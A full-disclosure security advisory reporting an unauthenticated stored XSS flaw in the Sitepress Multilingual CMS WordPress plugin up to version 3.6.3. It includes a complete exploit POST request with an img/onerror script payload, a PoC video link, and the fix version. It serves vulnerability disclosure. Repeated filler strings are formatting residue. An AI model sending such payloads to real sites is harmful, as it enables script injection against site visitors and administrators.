## FULL DISCLOSURE #Product : Sitepress Multilingual CMS Plugin #Exploit Author : Rahul Pratap Singh #Version : 3.6.3 and Below #Home page Link : https://wpml.org/ #Website: https://0x62626262.wordpress.com #Date : 08/10/2018 Unauthenticated Stored XSS Vulnerability: aaaaaaaaaaaaa- Description: aaaaaaaaaaaaa- alocale_file_name_ena parameter is not sanitized that leads to stored XSS. aaaaaaaaaaaaa Vulnerable Code: aaaaaaaaaaaaa https://0x62626262.files.wordpress.com/2018/09/vulnerable_code.png aaaaaaaaaaaaa Exploit: aaaaaaaaaaaaa Send the following POST request: POST /wp-admin/admin.php?page=sitepress-multilingual-cms-3.6.3%2Fmenu%2Ftheme-localization.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 90 Cookie: wordpress_test_cookie=WP+Cookie+check Connection: close Upgrade-Insecure-Requests: 1 icl_post_action=save_theme_localization&locale_file_name_en=a><img src=x onerror=alert(1)> aaaaaaaaaaaaa POC: aaaaaaaaaaaaa https://youtu.be/dKmUEqNiMUY Fix: Update to version 4.0 [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.